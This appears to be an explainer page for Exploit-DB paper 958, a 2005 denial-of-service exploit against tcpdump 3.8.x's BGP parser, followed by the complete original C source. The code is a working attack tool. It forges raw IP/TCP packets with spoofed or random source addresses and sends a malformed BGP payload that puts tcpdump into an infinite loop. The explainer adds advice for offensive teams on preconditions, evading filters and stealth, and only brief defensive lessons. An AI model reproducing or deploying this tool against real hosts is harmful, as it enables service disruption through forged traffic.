Tcpdump 3.8.x BGP RT_ROUTING_INFO Infinite Loop Denial of Service Explained

Tcpdump 3.8.x BGP RT_ROUTING_INFO Infinite Loop Denial of Service Explained
What this paper is
This paper details a Denial of Service (DoS) vulnerability in Tcpdump versions 3.8.x and earlier. The vulnerability lies in how Tcpdump processes certain malformed BGP (Border Gateway Protocol) packets. By sending a specially crafted packet, an attacker can cause the Tcpdump process to enter an infinite loop, consuming CPU resources and making the system unresponsive. This exploit can be triggered even if the target system is not running a BGP service or does not have the BGP port (179) open.
Simple technical breakdown
Tcpdump is a network packet analyzer. It listens to network traffic and displays packet headers based on specified filters. BGP is a routing protocol used by internet routers to exchange routing information.
The vulnerability occurs when Tcpdump encounters a specific type of malformed BGP packet. The exploit crafts a TCP packet that mimics a BGP packet but contains invalid data. When Tcpdump attempts to parse this invalid BGP data within the packet, a logic error causes it to repeatedly process the same data, leading to an infinite loop. This loop consumes all available CPU cycles for the Tcpdump process, effectively causing a denial of service.
The exploit can be delivered via a raw TCP socket, meaning it doesn't require a pre-existing connection to the BGP port. It can also be sent with a spoofed source IP address, making it harder to trace back to the attacker.
Complete code and payload walkthrough
The provided C code (xtcpdump-bgp-dos.c) is an exploit tool designed to trigger the DoS vulnerability in Tcpdump.
Code Structure and Key Components:
- Includes: Standard C libraries for socket programming, input/output, memory manipulation, signals, and time. Specific network headers like
netinet/in.hare included. - Endianness Definitions: Macros (
_USE_BIG_ENDIAN) are defined to handle different byte orderings (big-endian vs. little-endian) across various architectures, ensuring correct packet construction. - Constants:
BGP_PORT: Defined as 179, the standard port for BGP.DFL_AMOUNT: Default number of packets to send (5).TIMEOUT: Timeout duration for the non-spoofed connection attempt (10 seconds).
- Packet Structure Definitions:
struct iph: Defines the Internet Protocol (IP) header. It includes fields like version, header length (ihl), type of service (tos), total length, identification, fragment offset, time-to-live (ttl), protocol, header checksum, source IP address, and destination IP address. The order ofversionandihlis handled for different endianness.struct tcph: Defines the Transmission Control Protocol (TCP) header. It includes source and destination ports, sequence and acknowledgment numbers, flags (URG, ACK, PSH, RST, SYN, FIN), window size, checksum, and urgent pointer. The bit fields for flags are also handled for endianness.struct sumh: A helper structure used for calculating the TCP checksum. It contains source and destination IP addresses, fill bytes, protocol, and length.
- Payload Definition:
static char payload[]: This array holds the malformed BGP data that triggers the vulnerability."\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff": These are likely padding or invalid BGP markers."\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00": More BGP-related data. The0x0013might represent a specific BGP message type or length."\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01": Further malformed BGP data."\x84\x00\x00\x00": The final bytes of the payload. The specific values are crafted to cause the parsing error.- (Commented out is an "original method" payload of 39 bytes, suggesting the 34-byte version is a "shortened method".)
- Prototypes: Declarations for functions used in the program:
bgp_connect(unsigned int): Handles a non-spoofed connection to the target.bgp_inject(unsigned int, unsigned int): Handles sending a spoofed packet.in_cksum(unsigned short *, signed int): Calculates the IP/TCP checksum.getip(char *): Resolves a hostname to an IP address.printe(char *, signed char): Prints error messages and exits.sig_alarm(): Signal handler for timeouts.
mainfunction:- Argument Parsing:
- Checks for at least one argument (destination host).
- Parses the destination host (
argv[1]). - Optionally parses a source host (
argv[2]) or the string "nospoof". If "nospoof" is present,nospoofflag is set to 1. Otherwise,argv[2]is treated as the source IP. - Optionally parses the amount of packets to send (
argv[3]).
- Execution Flow:
- If
nospoofis set: Callsbgp_connect()to attempt a direct TCP connection and send the payload. - If
nospoofis not set: Enters a loop to send multiple spoofed packets usingbgp_inject(). The loop runsamttimes, with a smallusleepdelay between packets. Randomness is introduced for source IP and other packet fields.
- If
- Output: Prints status messages throughout the execution.
- Argument Parsing:
bgp_connectfunction (Non-spoofed):- Creates a TCP socket.
- Sets up a
sockaddr_instructure for the target BGP port. - Sets up a
SIGALRMhandler and arms an alarm forTIMEOUT. - Attempts to
connect()to the target. - If connection succeeds, writes the
payloadto the socket. - Closes the socket.
bgp_injectfunction (Spoofed):- Creates a raw IP socket (
IPPROTO_TCP). - Sets the
IP_HDRINCLsocket option, allowing the user to provide the IP header. - Sets up the destination address.
- Calculates the total packet size (
psize) including IP header, TCP header, and payload. - IP Header Construction (
struct iph ip):ihl: Set to 5 (minimum IP header length).version: Set to 4 (IPv4).tot_len: Set to the calculatedpsize.id: A random IP identification number.saddr: Source IP address (either provided or random).daddr: Destination IP address.ttl: A random TTL (64 or 128).protocol: Set toIPPROTO_TCP.frag_off: Set to 64 (indicating no fragmentation, DF bit set).
- TCP Header Construction (
struct tcph tcp):seq: A random sequence number.source: A random source port.dest: Set toBGP_PORT(179).doff: Set to 5 (minimum TCP header length).- Flags:
- If
_USE_SYNis defined (compiled with-D_USE_SYN):tcp.syn = 1. This sends a SYN packet. - Otherwise (default):
tcp.ack = 1andtcp.psh = 1. This sends an ACK+PSH packet.
- If
ack_seq: A random acknowledgment sequence number (only if not SYN).window: A random window size.
- Checksum Calculation:
- A
sumhstructure is used to create a pseudo-header for the TCP checksum calculation. - A buffer
sis allocated to hold thesumh,tcph, and payload. - The
in_cksumfunction is called to calculate the TCP checksum, which is then placed intcp.check. - Another buffer
sis allocated for the IP header. - The
in_cksumfunction is called to calculate the IP checksum, placed inip.check.
- A
- Packet Assembly:
- A buffer
pis allocated for the complete packet. - The constructed
ipheader,tcpheader, andpayloadare copied intop.
- A buffer
- Packet Sending:
sendto()is used to send the raw packet to the destination.
- Creates a raw IP socket (
in_cksumfunction:- Implements a standard algorithm for calculating Internet checksums. It sums 16-bit words, handles odd byte counts, and performs the one's complement.
getipfunction:- Takes a hostname string.
- First, it tries to interpret the string as an IP address using
inet_addr. - If that fails or if it's a hostname, it uses
gethostbynameto resolve the hostname to an IP address. - Returns the IP address as an
unsigned int.
printefunction:- A simple utility to print an error message prefixed with
[!]and then exit the program with a status code.
- A simple utility to print an error message prefixed with
Payload Mapping:
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff": Likely invalid BGP header fields or markers. In BGP, these might indicate an error or an unexpected state."\xff\xff\xff\xff\xff\xff": Continuation of invalid BGP data."\x00\x13": Could represent a BGP message length or type. In BGP, messages have a length field. This specific value might be part of a malformed length that Tcpdump misinterprets."\x02": Potentially a BGP attribute type or another field value."\x00\x01": Further BGP data, possibly an attribute length or value."\xff\x00\xff\x0e\x00\xff\x00\x01": These bytes are part of the crafted data that, when parsed by Tcpdump's BGP dissector, leads to the infinite loop. The specific sequence is designed to trigger a condition where the parsing logic gets stuck."\x84\x00\x00\x00": The final bytes of the malformed BGP data.
The core of the exploit is that these bytes, when interpreted by the vulnerable Tcpdump code as BGP routing information, cause a loop. The exact BGP message type or structure being mimicked is not explicitly stated, but the data is crafted to be invalid in a way that the parsing routine cannot gracefully exit.
Code Fragment/Block -> Practical Purpose Mapping:
struct iph,struct tcph,struct sumh: Define network packet structures for constructing raw IP and TCP packets.payload[]: Contains the specific malformed BGP data designed to trigger the vulnerability.main(): Orchestrates the exploit, handles command-line arguments, and decides whether to use a direct connection or spoofed packets.bgp_connect(): Implements a non-spoofed attack by establishing a TCP connection and sending the payload. Useful for testing direct network access.bgp_inject(): Implements the spoofed attack by crafting and sending raw IP packets with forged headers. This is the primary method for remote exploitation.in_cksum(): Essential for creating valid IP and TCP checksums, which are required for packets to be processed by network stacks (even if the payload is malformed).getip(): Resolves hostnames to IP addresses, making the exploit easier to use with domain names.printe(): Standard error handling and exit routine.#ifdef _USE_SYN: Conditional compilation to allow sending a TCP SYN packet instead of ACK+PSH, which might bypass certain network filters.ip.frag_off=64;: Sets the "Don't Fragment" bit in the IP header, which might be relevant for ensuring the packet reaches the target without being fragmented and potentially altered.tcp.doff=5;: Sets the TCP header length to 5 words (20 bytes), the minimum.sendto(sock, p, psize, ...): The system call used to transmit the crafted raw IP packet.
Shellcode/Payload Segments:
The payload array itself is the "shellcode" or payload in this context. It's not executable code in the traditional sense but rather data crafted to exploit a parsing vulnerability.
- Stage 1: Malformed BGP Data (
payload[])- Purpose: To be interpreted by the vulnerable Tcpdump process.
- Behavior: When Tcpdump's BGP dissector attempts to parse this data, it enters an infinite loop due to an unhandled condition or incorrect logic.
- Output: The Tcpdump process consumes 100% CPU, leading to a denial of service.
The exploit does not contain traditional shellcode for remote code execution. Its sole purpose is to trigger the DoS condition.
Practical details for offensive operations teams
This exploit is a classic example of a Denial of Service (DoS) vulnerability targeting a network utility.
Required Access Level:
- Spoofed Attack: Network-level access. The attacker needs to be able to send raw IP packets from a machine on the network. This typically requires root/administrator privileges on the attacking machine to create raw sockets. The attacker does not need direct access to the target machine's user accounts or services.
- Non-Spoofed Attack: Network connectivity to the target machine's BGP port (179). This requires the target machine to be running Tcpdump and have port 179 accessible from the attacker's network segment.
Lab Preconditions:
- Target: A system running Tcpdump version 3.8.x or earlier. The specific version is critical.
- Network: A network segment where the attacker can send packets to the target. For spoofed attacks, the attacker's network must allow egress of spoofed packets (some ISPs or network configurations might block this).
- Tcpdump Configuration: Tcpdump must be running on the target system and actively listening to network traffic, ideally with a filter that would capture BGP packets (though the exploit bypasses the need for an actual BGP service). The
-vflag is often required for Tcpdump to process packets in a way that triggers the bug. The-s(snaplen) might need to be set to 88 or higher.
Tooling Assumptions:
- Attacker Machine: A Linux or Unix-like system capable of compiling and running C code.
- Compiler:
gccis assumed for compiling the exploit. - Network Stack: The attacker's OS must support raw socket creation and sending IP packets.
- Exploit Script: The provided C code (
xtcpdump-bgp-dos.c) is the primary tool.
Execution Pitfalls:
- Version Specificity: The exploit is highly specific to Tcpdump 3.8.x. Newer versions are patched.
- Network Filters/IPS/IDS: Firewalls, Intrusion Prevention Systems (IPS), or Intrusion Detection Systems (IDS) might detect and block the raw packets, especially if they are malformed or come from unexpected sources. Spoofed packets are often flagged.
- Packet Dropping: Network infrastructure (routers, switches) might drop malformed or unexpected packets before they reach the target.
- Spoofed Source IP: For spoofed attacks, the source IP must be chosen carefully. If the source IP is not on the local subnet or is not the attacker's actual IP, the return traffic (if any) might not reach the attacker, and the packet might be dropped by intermediate routers. The paper mentions that "the source host/ip used must be within your local subnet (or your actual ip) for the (spoofed) packet to make it past your own router."
- Tcpdump Flags: The correct Tcpdump command-line flags (
-v,-s 88) are crucial for the exploit to work. If Tcpdump is not run with these flags, the vulnerability might not be triggered. - Non-spoofed Connection: The
bgp_connectfunction requires the target's BGP port (179) to be open and accessible, which is less common for general systems and more specific to network infrastructure. - SYN vs. ACK/PSH: The choice between compiling with
-D_USE_SYNor not can affect the packet's ability to traverse the network. SYN packets are often used for initiating connections, while ACK/PSH are used during established connections. Network devices might treat them differently.
Tradecraft Considerations:
- Reconnaissance: Identifying the exact version of Tcpdump running on the target is paramount. This can be challenging without direct access. Version information might be obtainable through banner grabbing (though Tcpdump typically doesn't banner), service enumeration, or by observing system behavior.
- Stealth: Spoofed packets offer a degree of stealth as the source IP is forged. However, network flow logs or packet captures on intermediate devices might reveal the spoofed traffic.
- Impact Assessment: This is a DoS attack. The goal is to disrupt service, not gain access. The impact is the unavailability of the Tcpdump process and potentially the system if it becomes unresponsive.
- Payload Delivery: The exploit relies on sending a single packet (or a few) to trigger the loop. It's not a multi-stage exploit requiring complex delivery mechanisms.
Where this was used and when
- Publication Date: April 26, 2005.
- Vulnerable Versions: Tcpdump 3.8.3 and earlier.
- Context: This vulnerability was discovered and published in the mid-2000s, a period when network protocol dissectors in tools like Tcpdump were still maturing and sometimes contained logic flaws. The focus was on network analysis tools themselves being vulnerable.
- Usage: While specific documented real-world attacks using this exact exploit are not widely publicized, vulnerabilities of this nature were commonly tested and demonstrated in security research circles and potentially used in limited, unauthorized disruptive attacks. The paper itself is a proof-of-concept demonstrating the vulnerability.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping network analysis tools like Tcpdump updated. The paper explicitly states the fix was in 3.9.x/CVS versions. Regularly patching software is fundamental to cybersecurity.
- Input Validation: Robust input validation is crucial for any software that parses external data, especially network protocols. Dissectors must handle malformed or unexpected data gracefully, rather than entering error states or loops.
- Resource Limits: Operating systems and applications should have mechanisms to limit resource consumption. For instance, a process consuming 100% CPU for an extended period should ideally be detected and potentially terminated or throttled by the OS.
- Network Segmentation and Firewalls: While this exploit can bypass port requirements, network segmentation and firewalls can still limit the attack surface. Restricting access to sensitive ports and protocols helps.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS can be configured to detect anomalous packet patterns, including malformed TCP/IP headers or unusual protocol data, which could flag this type of attack.
- Least Privilege: Running network utilities like Tcpdump with the minimum necessary privileges can limit the impact of a compromise or exploit. If Tcpdump were compromised, running it as a non-root user would prevent it from affecting critical system processes.
- Monitoring: Continuous monitoring of system resource utilization (CPU, memory) can help detect DoS attacks in progress. Alerts for processes consuming excessive CPU can be an early indicator.
ASCII visual (if applicable)
This exploit is a direct packet injection scenario, so a complex architectural diagram isn't strictly necessary. However, we can visualize the packet flow for both the spoofed and non-spoofed methods.
Spoofed Packet Injection Flow:
+-----------------+ +-----------------+ +-----------------+
| Attacker Machine| ----> | Network Devices | ----> | Target Machine |
| (Root/Admin) | | (Routers, etc.) | | (Tcpdump running)|
| - Raw Socket | | - Packet Forward| | - Receives Raw |
| - Crafted IP/TCP| | - May Drop | | IP Packet |
| Packet | | Malformed | | - Tcpdump Parses|
| - Spoofed Source| | Packets | | BGP Data |
+-----------------+ +-----------------+ +-------+---------+
|
| (Infinite Loop)
v
+-------------+
| Tcpdump CPU |
| Consumption |
+-------------+
|
v
+-------------+
| Denial of |
| Service |
+-------------+Non-Spoofed Connection Flow:
+-----------------+ +-----------------+ +-----------------+
| Attacker Machine| ----> | Network Devices | ----> | Target Machine |
| (Root/Admin) | | (Routers, etc.) | | (Tcpdump running)|
| - TCP Socket | | - Packet Forward| | - Establishes |
| - Connect to 179| | | | TCP Connection|
| - Send Payload | | | | - Tcpdump Parses|
+-----------------+ +-----------------+ | BGP Data |
+-------+---------+
|
| (Infinite Loop)
v
+-------------+
| Tcpdump CPU |
| Consumption |
+-------------+
|
v
+-------------+
| Denial of |
| Service |
+-------------+Source references
- Paper ID: 958
- Paper Title: Tcpdump 3.8.x - 'rt_routing_info' Infinite Loop Denial of Service
- Author: vade79
- Published: 2005-04-26
- Keywords: Linux, dos
- Paper URL: https://www.exploit-db.com/papers/958
- Raw URL: https://www.exploit-db.com/raw/958
Original Exploit-DB Content (Verbatim)
/*[ tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop DOS. ]*****
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos *
* gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos -D_USE_SYN *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* fix: *
* this appears to have been fixed in the alpha 3.9.x / CVS *
* versions. although i found no direct mention of the issue *
* itself being resolved, the code has been changed in a way to *
* not allow this to happen. *
* *
* Tcpdump is a program that allows you to dump the traffic on a *
* network. It can be used to print out the headers of packets on *
* a network interface that matches a given expression. You can *
* use this tool to track down network problems, to detect "ping *
* attacks" or to monitor the network activities. *
* *
* tcpdump(v3.8.3 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (BGP) packet *
* causing an infinite loop. *
* *
* BGP is TCP, however the victim does not have to have the BGP *
* port(179) open to abuse the bug. by sending a specially *
* crafted (spoofed) TCP(ACK,PUSH) packet to port 179 you can *
* trigger the infinite loop, however it depends on if the packet *
* can make it out without being dropped. in some situations the *
* source host/ip used must be within your local subnet(or your *
* actual ip) for the (spoofed) packet to make it past your own *
* router. if for some reason you think a (invalid) TCP(SYN) *
* packet is more likely to make it out, compile with the *
* -D_USE_SYN flag. (tcpdump will parse the BGP data even if it *
* is a TCP(SYN) packet) *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen. *
* however most need the "-v" argument, and a some need the *
* "-s" (snaplen) set to 88(non-spoofed is around 100, with the *
* ip options) or more. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif
/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif
/* will never need to be changed. */
#define BGP_PORT 179
#define DFL_AMOUNT 5
#define TIMEOUT 10
/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct tcph{
unsigned short source;
unsigned short dest;
unsigned int seq;
unsigned int ack_seq;
#ifdef _USE_BIG_ENDIAN
unsigned short doff:4,res1:4,cwr:1,ece:1,
urg:1,ack:1,psh:1,rst:1,syn:1,fin:1;
#else
unsigned short res1:4,doff:4,fin:1,syn:1,
rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1;
#endif
unsigned short window;
unsigned short check;
unsigned short urg_ptr;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};
/* malformed BGP data. (the bug) */
static char payload[]=
/* shortened method. (34 bytes) */
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00"
"\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01"
"\x84\x00\x00\x00";
/* original method, un-comment/swap if desired. (39 bytes) */
/* "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" */
/* "\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00" */
/* "\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01" */
/* "\x84\x00\x00\x20\x00\x00\x00\x00\x00"; */
/* prototypes. (and sig_alarm) */
void bgp_connect(unsigned int);
void bgp_inject(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop "
"DOS.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2){
if(strstr(argv[2],"nospoof"))nospoof=1;
else saddr=getip(argv[2]);
}
if(argc>3)amt=atoi(argv[3]);
if(nospoof){
printf("[*] target: %s\n",argv[1]);
bgp_connect(daddr);
printf("[*] done.\n");
}
else{
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
bgp_inject(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
}
fflush(stdout);
exit(0);
}
/* (non-spoofed) generic connection. (port 179 on the */
/* victim has to be open for this to work) */
void bgp_connect(unsigned int daddr){
signed int sock;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(BGP_PORT);
s.sin_addr.s_addr=daddr;
printf("[*] attempting to connect...\n");
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("(non-spoofed) BGP connection failed.",1);
alarm(0);
printf("[*] successfully connected.\n");
printf("[*] sending malformed BGP data. (%u bytes)\n",
sizeof(payload)-1);
usleep(500000);
write(sock,payload,sizeof(payload));
usleep(500000);
printf("[*] closing connection.\n\n");
close(sock);
return;
}
/* (spoofed) generates and sends an unestablished (BGP) */
/* TCP(ACK,PUSH) or TCP(SYN) packet. */
void bgp_inject(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct tcph tcp;
struct sumh sum;
/* create raw (TCP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(BGP_PORT);
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct tcph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&tcp,0,sizeof(struct tcph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.id=(random()%65535);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_TCP;
ip.frag_off=64;
tcp.seq=(random()%0xffffffff+1);
tcp.source=htons(random()%60000+1025);
tcp.dest=sa.sin_port;
/* passing BGP data as ip options for the syn packet method */
/* doesn't work as tcpdump doesnt process it as BGP data. */
tcp.doff=5;
#ifdef _USE_SYN
tcp.syn=1;
tcp.window=htons(65535);
#else
tcp.ack=1;
tcp.psh=1;
tcp.ack_seq=(random()%0xffffffff+1);
tcp.window=htons(4096*(random()%2+1));
#endif
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct tcph)+sizeof(payload)-1);
/* make sum/calc buffer for the tcp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct tcph)
+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct tcph)
+sizeof(payload)+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&tcp,sizeof(struct tcph));
memcpy(s+sizeof(struct sumh)+sizeof(struct tcph),
payload,sizeof(payload)-1);
tcp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct tcph)+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&tcp,sizeof(struct tcph));
memcpy(p+(sizeof(struct iph)+sizeof(struct tcph)),
payload,sizeof(payload));
/* send the malformed BGP packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged BGP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}
// milw0rm.com [2005-04-26]